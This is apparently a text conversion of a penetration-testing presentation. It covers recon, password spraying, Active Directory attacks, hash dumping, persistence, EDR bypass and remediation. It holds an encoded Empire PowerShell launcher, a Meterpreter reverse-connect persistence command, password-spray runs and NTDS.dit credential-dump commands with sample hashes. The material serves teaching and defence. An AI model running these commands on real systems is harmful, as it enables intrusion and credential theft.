 - <https://github.com/sensepost/gowitness>
- **HTTPSScreenShot** - HTTPSScreenshot is a tool for grabbing screenshots and HTML of large numbers of websites. The goal is for it to be both thorough and fast
 - <https://github.com/breenmachine/httpscreenshot>

Nmap

- nmap -sV -A -p- -oA outputFile x.x.x.x-x --version-intensity 0



- nmap --script-updated

Nmap – DNS Brute

```
root@hell: ~
File Edit View Search Terminal Help
root@hell:~# nmap --script dns-brute --script-args dns-brute.domain=microsoft.com,dns-brute.threads=6
Starting Nmap 7.00 ( https://nmap.org ) at 2016-05-09 06:55 EDT
Pre-scan script results:
dns-brute:
DNS Brute-force hostnames:
mail.microsoft.com - 167.220.71.19
mail.microsoft.com - 157.58.197.10
mail2.microsoft.com - 131.107.115.215
ftp.microsoft.com - 134.170.188.232
mail3.microsoft.com - 131.107.115.214
demo.microsoft.com - 65.55.39.10
demo.microsoft.com - 64.4.6.100
dev.microsoft.com - 104.87.22.205
owa.microsoft.com - 131.107.0.91
owa.microsoft.com - 131.107.1.90
owa.microsoft.com - 131.107.1.89
owa.microsoft.com - 131.107.1.91
alerts.microsoft.com - 65.55.206.154
manage.microsoft.com - 134.170.168.254
help.microsoft.com - 40.127.139.224
helpdesk.microsoft.com - 191.239.7.31
home.microsoft.com - 40.127.139.224
mobile.microsoft.com - 65.55.186.235
shop.microsoft.com - 23.96.52.53
```

Masscan

65536 UNVERIFIED HOSTS (A LARGE TARGETS ASN)

Tool	Time to run	Found
masscan masscan -p1,3-6,7-9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,131,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,578,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981-987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-111 4,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163,1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1735,1761,1782-1783,1801,1805,1812,1839-1840,1882-1884,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2701-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,286,2987,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3013,3019,3021,3052,3071,3077,3128,3168,3211,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3654,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,429,4242,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5081,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5962,5955-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49175-49176,49400,49999,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,280,4567,7001,8008,9080 -lL \$TARGET_LIST --max-rate 100000 -oG \$TARGET_OUTPUT	11m4.164s	196
nmap	∞	zzz

JASON HADDIX – Bug Bounty Hunter Methodology
Discovery (Expanding your scope like a boss)

XPROBE

```
root@kali:~#  
root@kali:~# xprobe2 192.168.1.132
```

```
[+] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)  
[-] fingerprint:smb need either TCP port 139 or 445 to run  
[-] fingerprint:snmp: need UDP port 161 open  
[+] Primary guess:  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.6.11" (Guess probability: 95%)  
[+] Other guesses:  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.20" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.30" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.22" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.28" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.24" (Guess probability: 95%)  
[-] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.26" (Guess probability: 95%)
```


P0f

```
root@kali:~# p0f -i eth0 -p -o /tmp/p0f4.log  
--- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> --  
[+] Closed 1 file descriptor.  
[+] Loaded 322 signatures from '/etc/p0f/p0f.fp'.  
[+] Intercepting traffic on interface 'eth0'.  
[+] Default packet filtering configured [+VLAN].  
[+] Log file '/tmp/p0f4.log' opened for writing.  
[+] Entered main event loop.
```

```
C:\Users\...>C:\Users\...\Desktop\ncclient\nc.exe 192.168.1.133 1300  
  
tset  
akjahdkahdkajhd  
djkaedhajkdjhkjashdkas  
jkhksdfksjroweyyiyurywurw  
djajdlajdakldjka  
asdhasldhakdhajkd  
  
ksajdhasjkdhaksjdh  
dsjakdhakhdasjkdhak  
  
.- [ 192.168.1.135/1090 -> 192.168.1.133/1300 (syn) ]-  
  
client    = 192.168.1.135/1090  
os        = Windows 7 or 8  
dist      = 0  
params    = none  
raw_sig   = 4:128+0:0:1460:8192,8:mss,nop,ws,nop,nop,sok:df,i
```


Directory Enumeration

	Dirble	Dirb	Dirsearch	Gobuster
Cookies	✓	✓	✓	✗
Custom headers	✓	✓	✓	✗
Extensions	✓	✓	✓	✓
HTTP basic auth	✓	✓	✗	✓
Listable directory optimisation	✓	✓	✗	✗
Listable directory scraping	✓	✗	✗	✗
Output file	✓	✓	✓	✓
Proxy	✓	✓	✓	✓
Recursion	✓	✓	✓	✗
Speed	✓	✓	✗	✓
Status code blacklisting	✓	✓	✓	✗
Status code whitelisting	✓	✗	✗	✓
Threading	✓	✗	✓	✓
Throttle	✓	✓	✓	✗
Tune not found based on size/redirection	✓	✓	✗	✗
URL list	✓	✗	✓	✗
User agents	✓	✓	✓	✓



<https://github.com/nccgroup/dirble>

Automation is the key



The screenshot shows the Evolve Security Automation Dashboard for Acme Corporation. The dashboard has a dark theme with various sections:

- Top Left:** Navigation menu with options like Automation, Marketplace, Workflows, Modules, Containers, Dashboards, Charts, Agents, Security Zones, and Events.
- Top Center:** Security Automation Dashboard summary with metrics: COMPROMISED ACCOUNTS (3), RISKY SERVICES (12), EXPOSED EMPLOYEES (186), and a timestamp (14th May 2018, 13:42:32).
- Middle Left:** Exposed Employees table listing 8 employees with their roles and email addresses.
- Middle Right:** Employee Risk Profile sunburst chart.
- Bottom Left:** Context-Based Priority Risks section with three exploit details:
 - Exploit: OpenSSL TLS Heartbeat Extension - Heartbleed Memory Disclosure
 - Exploit: JBoss Version 1.2.3 Vulnerability PoC Exploit
 - Exploit: Metasploit exploit for GlassFish Arbitrary File Upload
- Bottom Right:** System Risk Profile sunburst chart and a world map showing system locations.
- Bottom Bottom Left:** Dark Web, Online Dump Sites, and Offline Password Dumps sections.
- Bottom Bottom Right:** Sony Hacked/Leaked emails thread section.

- Evolve is the world's first dedicated Security Automation platform
- Passive solution
- offers the Evolve Marketplace with over 350 specialist security automation workflows
- Combination of automated reconnaissance and active attacks with intelligent and safe exploitation against your publicly accessible infrastructure
- Automatically collect and generate intelligence about your organisation, employees and systems that are being used by attackers to compromise your organisation
- Finds out exposed services and corresponding exploits
- Minimises the time it takes to detect critical risks and security weaknesses

Password Leaks



Largest breaches		Recently added breaches	
	772,904,991 Collection #1 accounts		15,453,048 Lumin PDF accounts
	763,117,241 Verifications.io accounts		4,606 KiwiFarms accounts
	711,477,622 Onliner Spambot accounts		396,533 Minehut accounts
	593,427,119 Exploit.In accounts		95,431 Void.to accounts
	457,962,538 Anti Public Combo List accounts		36,395,491 Poshmark accounts
	393,430,309 River City Media Spam List accounts		89,388 Mastercard Priceless Specials accounts
	359,420,698 MySpace accounts		561,991 XKCD accounts
	234,842,089 NetEase accounts		478,824 Coinmama accounts
	164,611,595 LinkedIn accounts		39,721,127 Chegg accounts
	161,749,950 Dubsplash accounts		749,161 Cracked.to accounts

- Stolen usernames and passwords leaked on the internet are the leading way companies are hacked.
- Sites get owned every now and then
- 1.4 Billion passwords got leaked as part of Collection #1
- There are heaps of password leak services available online
- Attackers sell these information on Dark Web or on torrent site for really cheap price
- Over the past year the size of password dump is getting bigger and bigger
- One should start using offline password manager as online password manager tends to have vulnerability quite often

Automated Compromised Account Monitoring


- Monitors over **700 Billion** compromised accounts from thousands of security breaches from over the past decade
- Evolve automatically monitors compromised personal and corporate accounts
- Notifies about the breach via email

Compromise Account Search

The screenshot shows the Evolve Threat Intelligence platform interface. On the left, there's a sidebar with various navigation options like Automation, Marketplace, Workflows, Modules, Services, Containers, Dashboards, Charts, Agents, Credentials, Security Zones, Events, and Security Services. The main area displays a modal window titled "Compromise Account Search". Inside the modal, there are three sections: "Security Breach - linkedin.com", "Security Breach - Collection #5", and "Security Breach - BreachCompilation". Each section contains a table with columns for "Monitored Account" and "Compromised Password". The "Security Breach - linkedin.com" section has one entry: example@example1.com p*****d. The "Security Breach - Collection #5" section has multiple entries, including alan@example1.com, alex@example1.com, bess_fi25@example1.com, example1@example1.com, name@example1.com, none@example1.com, testuser1@example1.com, and user@example1.com. The "Security Breach - BreachCompilation" section also has multiple entries, including 6*****9, n*****2, n*****u, s*****1, q*****p, c****r, t*****2, and 1*****n.

- Every time the compromised account details is detected for the setup service Evolve will send an automated emails notifying an end users
- <https://www.youtube.com/watch?v=lnK1ylqU2EE>


Administrative Portals



The WordPress login screen features a large blue 'W' logo at the top left. Below it is a form with fields for 'Username or Email' and 'Password'. There is a 'Remember Me' checkbox and a 'Log In' button. At the bottom, there are links for 'Lost your password?' and '← Back to My Blog'.




The Sitecore login screen has a red header with the Sitecore logo. The main title is 'Welcome to Sitecore'. It contains a user login form with fields for 'User name:' and 'Password', a 'Remember me' checkbox, and a 'Login' button. Below the form are links for 'Forgot Your Password' and 'Change Password'.



A dark-themed administrative portal page. At the top right are links for 'Comments/Suggestions', 'Site Map', 'Work Requests', and 'Admin Portal'. The main content area includes a 'Copyright © 2014. All rights reserved.' message, a 'Disclaimer | Supported Browsers' section, and a 'USA - Contact Us' link. Several sections of the page are highlighted with red boxes.



The phpMyAdmin login screen features a logo of two sailboats. The title 'Welcome to phpMyAdmin' is at the top. Below it is a 'Language' dropdown set to 'English'. A 'Log In' button is followed by fields for 'Username' and 'Password'. At the bottom is a 'Go' button.




The sign-in screen has a title 'Sign in with your Firm credentials'. It contains fields for 'Email' and 'Password'. Below the fields is a 'Forgotten Password?' link. A note states: 'By clicking Sign In, you are agreeing to our Privacy Policy and Terms and Conditions'. At the bottom are 'Sign in' and 'Clear' buttons.



The Jenkins login screen features a cartoon character icon and the word 'Jenkins'. It has fields for 'User' and 'Password', a 'Remember me on this computer' checkbox, and a large blue 'log in' button. The Jenkins logo is also present in the top right corner.

What do we know about a target so far?

- Office and Organisation culture
- Potential employees
- Admin, VPN & Email portals exposed to the Internet
- Most of the sub-domains
- Username patterns
- Brief idea about password policy



Password Spraying

- Mail Snipper

```
sarayu
PS C:\temp> Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
[*] Using .\users.txt as userlist to spray with
[*] Warning: Users will not be checked for lockout threshold.
[*] The domain password policy observation window is set to 30 minutes.
[*] Setting a 30 minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 7 accounts?
[Y] Yes [N] No [?] Help (default is "Y"): y
[*] Password spraying has begun with 1 passwords
[*] This might take a while depending on the total number of users
[*] Now trying password 123456 against 7 users. Current time is 9:28 PM
[*] Writing successes to
[*] SUCCESS! User:Administrator Password:123456
[*] SUCCESS! User:spot Password:123456
[*] SUCCESS! User:spotless Password:123456
[*] Password spraying is complete
```

- Atomizer

```
ddos@DESKTOP-NT4IE63:~/SprayingToolkit$ python3 atomizer.py -h
Usage:
    atomizer (lync|owa) <domain> <password> --userfile USERFILE [--threads THREADS] [--debug]
    atomizer (lync|owa) <domain> --recon [--debug]
    atomizer -h | --help
    atomizer -v | --version

Arguments:
    domain      target domain
    password    password to spray

Options:
    -h, --help            show this screen
    -v, --version         show version
    -u, --userfile USERFILE file containing usernames (one per line)
    -t, --threads THREADS number of concurrent threads to use [default: 3]
    -d, --debug           enable debug output
    --recon              only collect info, don't password spray
```



Other tools: Metasploit, BurpSuite

Common Misconfiguration

- Lack of two factor authentication (2FA)
- Administrative portals exposed to the Internet
- Weak P@ssw0rd policy
- Default Passwords
- Weak Egress Filtering

Internal Pentest

Living of the Land (LoTL)

- Making use of already installed applications and tools on the compromised hosts to perform malicious activities
- Using such method attacker does not need to create new files on the disk and hence avoiding the detection by hiding in a sea of legitimate processes.
- **LOLBAS** – LOLBAS is a curated list of Living Off The Land Binaries and Scripts.
 - <https://github.com/LOLBAS-Project/LOLBAS-Project.github.io>
 - <https://lolbas-project.github.io/#>

Reconnaissance


- systeminfo
- net view
- net view /domain
- tasklist /v
- gpresult /z
- netstat -nao
- ipconfig /all
- arp -a
- net share
- dir %UserProfile%\Desktop*.*
- net use
- net user administrator
- net user /domain
- net user administrator /domain
- tasklist /fi
- dir %SystemDrive%\Users*.*
- dir %UserProfile%\AppData\Roaming\Microsoft\Windows\Recent*.*
- reg query "HKCU\Software\Microsoft\Windows\"
- hostname
- whoami
- winver
- ipconfig -all
- ping www.google.com
- query user
- net user
- net view /domain
- CurrentVersion\Internet Settings\"
- tasklist /svc
- netstat -ano | find \TCP\

Lateral Movement

- Pwdump
- Procdump
- Tasklist
- Taskkill
- RDP
- PsExec
- PowerShell
- SMB
- Net share



BloodHound/SharpHound



- BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.
- <https://github.com/BloodHoundAD/BloodHound>

```
$ apt-get install bloodhound  
$ neo4j console  
$ bloodhound
```
- How to access BloodHound GUI?
Database URL – **bolt://127.0.0.1:7687**
Username – **neo4j**
Password – **your password**


Six Degrees of Domain Admin : <https://www.youtube.com/watch?v=lxz2rerVsLo>

DeathStar

```
(Empire: agents) > listeners
[+] Active listeners:
  Name      Module      Host           Delay/Jitter   KillDate
  ----      ----       ----           -----          -----
  DeathStar  http       https://192.168.10.3:7654  5/0.0

(Empire: listeners) > launcher powershell DeathStar
powershell -noP -w 1 -enc WwBSREURzBdRC4RQ0BTAFMz0BtAG1AbAB5AC4ARwBFAHQAVABZAFAARoAeACCeAUwBSAHMAdAB1AG0ALoBNAGEAbgBhAGcA20BtAGUAbgB0AC4PQ0081AH0AbwBtAG
REKA20BsAQAKRAAnAGEAbQBzAGKLSQBzAGKAdABGArAQBzAGUZAAhACuAJbD0AG8AbgB0AHUAYgBsAGkAYWAsAFMAdRBHhQRaQBjAcckQDQAFMzQBUAFYAYQBMIFUQRQoACQ0AbgB1AQwAbRaS
NAGEAbgBhAGcA20BSAF0R0gA6AEUUAwB0AeUyw0ADEA1PAwREMTAtw0BfQAS0B0AHUz20A9BDA0wAkRFcAQwA9AE4RZ0B3AC0ATwB1AcEgA2QBDAAHOAIABTAFkAcuB0AGUAT0AuAE4RZ0B0AC4RWuB1
RgAE4RVArAgADYALgRxAdoSIABXRE8AvwR2AD0AdwRgAFQRcqBpRgQ0Z2BwRH0ALwR3AC4FMR7CRAcgB2ADoM0RxAC4RMArpACRAbAbpAgS2D0gREcAz0BjAgSAbwAnR0sA1wBTRhkRcwB0AGUrQ
gBDAGUrcgB0AGkA2gBqAGMAY0B0AGUAVgBhAGwRa0BkAGERdAbpAg8AbgBDAGEAbBzAG1AYQbJAGsRIAA9ACARewAkAH0AcgB1AGUrfQ07ACQRdwBjAC4RSAB1AGEARABFAFI1RuwAuEEA2RBEACgAJw
B0ArE4R0B0AC4RWuB1REI1RuGBFAlHEVQBFRAHMAdBjD0R0gBEREUEURzgBBFUATB0AfFcZ0B0CAFRAUgBvRFgH0Q0R7CQRVwBDAC4RUABjREB0BSAC4RQwBSAGUARABFAG4RdAbpRAGEARTBzACR0AP
PR0BmRGEAV0BsAHOATgB1RFQdwdBPAFI1SwBDAFI1RQBEAGUAbgBUREkAYQBMAMFa0wAkReEsAP0BbAFMReQBzRH0RQB0NAC4RVABFAGFgAdArAeUeAtgBDE83AZB0JRE4R2wBdAdoA0gBBAFMaQwBjREkA
sAMABFREoALgBzADt1RSAB1R0sAfPnRACKAdwRkRF1IAP0B7AC0ARRAsRC0RsWp9RC0Q0Q0ByR6cRLwR7CQRUwP9AD0RLgRuAD1ANQ1R0sAMRAuAC4AMgA1RDuAfRA1RhsA1JBKR00AKRARIReoRkwAfkRM
CuRAJABTAfsAJRABKAf0AP0A0kAFMANwAkReoRX0RsACQAUwBbACQAxwB0AH0R0wAkAEQfAfRA1RhsAJABJAD0AKRAkRekAkwAxACKAJ0AYwDUAnRg7CQ5ASAR9AcgAJRABfACs1JRB0AF0RkQD1AD
RF8AL0BCAFgAbwByAC0AUwB0ACgAJABTAf sAJRABfAF0RkWwAkAFM1wAkAEgAXQApACUUmQ1ADYAX0B9AH0AwAkRhcAYwAuRegA20BhRE0RZ0BSAHMALgBBAE0Q2AAc1R0wBvAG8AauBpAGUAIQsA
YAFoAUwBnD0A1gR0R0sJ1JABzAGUrcg9ACcRaAB0AH0AcBzAd0ALwAvAeD0QyAC4AM0A2RdgALgRxRDAAlgRzD0nWu2ADUNAAnR0sJRB00AD08JwvAGEZB0tRgkAbgAvRGCz20B0AC4RCABo
B0ACKRAwAkAEkAdgA9AC0A2BhAFQAYQBB0DAALgAuADMxQ07ACQz2ABB0FQAYQ0R9ACQzABhAFQAYQBB0D0QlAgAuAC0ARAbhAF0AQQ0uAgwA20B0AcAdRBoAf0R0wAtAGoRTwBpAG4RwBDAEgRYQB
(Empire: listeners) >
```

- DeathStar is a Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in Active Directory environments using a variety of techniques.
- DeathStar demonstrates that automating obtaining Domain Admin rights in an Active Directory environment is a clear possibility using existing open-source toolsets.



GoFetch

- GoFetch is a tool to automatically exercise an attack plan generated by the [BloodHound](#) application.
- GoFetch first loads a path of local admin users and computers generated by BloodHound and converts it to its own attack plan format. Once the attack plan is ready, GoFetch advances towards the destination according to plan step by step, by successively applying remote code execution techniques and compromising credentials with Mimikatz.
- **GoFetch has two different versions:**
 - Chain reaction
 - One computer to rule them all
- <https://github.com/GoFetchAD/GoFetch>
 - <https://www.youtube.com/watch?v=5SpDAxUx7Uk&feature=youtu.be> (In action)
 - <https://www.youtube.com/watch?v=dPsLVE0R1Tg>



AngryPuppy

- ANGRYPUPPY is a tool for the Cobalt Strike framework, designed to automatically parse and execute BloodHound attack paths.
- **ANGRYPUPPY - BloodHound Attack Automation in Cobalt Strike**
 - <https://www.youtube.com/watch?v=yxQ8Q8itZao>



NTDS.DIT – NTLM Hashes

```
root@kali:~/Desktop/CrackMapExec-2.3# python crackmapexec.py 192.168.100.100 -u pc -p Passw0rd1 -d insecure.com --ntds drsuapi
10-09-2016 16:17:25 SMB 192.168.100.100:445 DCI [*] Windows 6.3 Build 9800 (name:DC1) (domain:insecure.com)
10-09-2016 16:17:25 SMB 192.168.100.100:445 DCI [+] Login successful insecure.com\pc:Passw0rd1
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI [+] Dumping NTDS.dit secrets using the DRSSUAPI method (domain\uid:rid:lmhash:nthash)
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI Administrator:$500:aad3b435b51404eeaad3b435b51404eea19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI Guest:$501:aad3b435b51404eeaad3b435b51404eea:31d6cf8016ae93b73c59d7e0c089c0:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI krbtgt:$502:aad3b435b51404eeaad3b435b51404ee:8a3285d68f94aee117b5d446c7df03d9:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI insecure.com\pc:1104:aad3b435b51404eeaad3b435b51404eea:ae974876d974abd805a989ebad86846:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI insecure.com\victimone:1106:aad3b435b51404eeaad3b435b51404eea:19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI insecure.com\victimtwo:1107:aad3b435b51404eeaad3b435b51404eea:19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI insecure.com\victimthree:1108:aad3b435b51404eeaad3b435b51404eea:19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI insecure.com\victimfour:1109:aad3b435b51404eeaad3b435b51404eea:e19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI DC1$:1001:aad3b435b51404eeaad3b435b51404eea:d9f9acf6762223ed2e9c9ca7dcf73900:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DCI VICTIM1$:1105:aad3b435b51404eeaad3b435b51404eea:f76417822ce4cc0f03824ebad31e50d5:::
```

```
root@kali:~/impacket/examples# python secretdump.py --ntds /root/Desktop/AD-Files/ntds.dit -system /root/Desktop/AD-Files/SYSTEM -outputfile result.local
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

[*] Target system bootKey: 0xe9f18e7515918dc04695f1926b3e749d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEH # 0 found and decrypted: 88073df6cc1ba9f81d2c52481a7600087
[*] Reading and decrypting hashes from /root/Desktop/AD-Files/ntds.dit
Administrator:$500:aad3b435b51404eeaad3b435b51404eea:19ccf75ee54e06b06a5907af13cef42:::
Guest:$501:aad3b435b51404eeaad3b435b51404eea:31d6cf8016ae93b73c59d7e0c089c0:::
DC1$:$1001:aad3b435b51404eeaad3b435b51404eea:bb9efb7e3259c586b423f19f267d53e12:::
krbtgt:$502:aad3b435b51404eeaad3b435b51404eea:8a3285d68f94aee117b5d46c7df03d9:::
insecure.com\pc:1104:aad3b435b51404eeaad3b435b51404eea:19ccf75ee54e06b06a5907af13cef42:::
VICTIM1$:$1105:aad3b435b51404eeaad3b435b51404eea:f76417822ce4cc0f03824ebad31e50d5:::
[*] Kerberos keys from /root/Desktop/AD-Files/ntds.dit
DC1$::aes256-cts-hmac-sha1-96:f22631b5d8c832b78a01a5129b3bc7728fd2551d81e4524e99425e4dd8294a8
DC1$::aes128-cts-hmac-sha1-96:c428dd8b37481e189e7e6922618a3892
DC1$::des-cbc-md5:5e16bc51e0aaed668
krbtgt::aes256-cts-hmac-sha1-96:6d7b4deff881f62032d4d4f73246a6ba29746ca43d7838f3a1c93ddd1e18e7015
krbtgt::aes128-cts-hmac-sha1-96:dd8a8cd116ac56ccb1648556fc8aeec13f
krbtgt::des-cbc-md5:fb5df8d9df6dec5d
insecure.com\pc::aes256-cts-hmac-sha1-96:3b10052f0bcd4dffe86a800d8a4080e6062006e8c739cbcc80605f1120b5bc78
insecure.com\pc::aes128-cts-hmac-sha1-96:cafccff1552c19a9648fd5feea059c32c3
insecure.com\pc::des-cbc-md5:91d673ef6e5e32f7
[*] The quieter you become, the more you are able to hear"
VICTIM1$::aes256-cts-hmac-sha1-96:3d9aca93439ad9c787d58f4414abacd91935269e54305201745751e4a89e67fd
VICTIM1$::aes128-cts-hmac-sha1-96:e66b48be8f8ebc9c9c2d1715ff7a72be1
VICTIM1$::des-cbc-md5:a8d93e31d9e53289
[*] Cleaning up...
```

Exfiltration

- FTP
- 7zip / WinRAR encrypted files
- Telnet
- WinSCP
- wget
- SSH
- Exposing local server to the Internet
- Curl
- SMB
- Using highly trusted domains such Gmail, GitHub, Twitter etc as command & Control server to perform exfiltration

Persistence Mechanism

- Bitsadmin
- AT
- SC
- COM object Hijacking
- Task Scheduler

```
meterpreter > run persistence -h
[screenshot]
] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
] Example: run post/windows/manage/persistence_exe OPTION=value [...]
meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:
  -A          Automatically start a matching exploit/multi/handler to connect to the agent
  -L <opt>    Location in target host to write payload to, if none %TEMP% will be used.
  -P <opt>    Payload to use, default is windows/meterpreter/reverse_tcp.
  -S          Automatically start the agent on boot as a service (with SYSTEM privileges)
  -T <opt>    Alternate executable template to use
  -U          Automatically start the agent when the User logs on
  -X          Automatically start the agent when the system boots
  -h          This help menu
  -i <opt>    The interval in seconds between each connection attempt
  -p <opt>    The port on which the system running Metasploit is listening
  -r <opt>    The IP of the system running Metasploit listening for the connect back
```

```
[meterpreter > run persistence -X -p 8081 -r 192.168.1.133 -i 5
```

```
Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cUNbqzoACMfGiZM
Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cUNbazoACMfGiZM
```

Bypasses for Next-Gen EDR/AV Solutions

- Does your EDR solution have tamper protection?
- Check folder permissions and see if you can take advantage of any misconfiguration

```
TAKENOWN [/S system [/U username [/P [password]]]]  
/F filename [/A] [/R [/D prompt]]
```

```
Description:  
This tool allows an administrator to recover access to a file that  
was denied by re-assigning file ownership.
```

- Modify, Disable or Delete files related to EDR solutions and agent will not be able to talk the collection server
- Look for registry key values related to particular EDR solution
- DerbyCon 2019 - Testing Endpoint Protection How Anyone Can Bypass Next Gen AV by Kevin Gennuso

<https://www.youtube.com/watch?v=LDG0fv8HcCU>

Remediation – External Perimeter

- Have MFA on every single portal exposed to the Internet (O365, OWA, VPN, MDM and Citrix)
- Do not share seed files with the users
- Do not expose the Administrative portals to the Internet (VPN and Whitelist IPs)
- Make sure there are no holes in the Firewall (Do not expose SMB to the Internet)
- Improve password policy

Remediation – Internal Infrastructure

- Application Whitelisting – Software Restriction Policies
- Disable LLMNR & NBT-NS (Responder, Inveigh & Metasploit)
- Lack of Network Segmentation
- Identify and map digital assets, including data, systems, and applications, across the business value chain.

**THIS IS THE END OF THE
PRESENTATION**



THANK YOU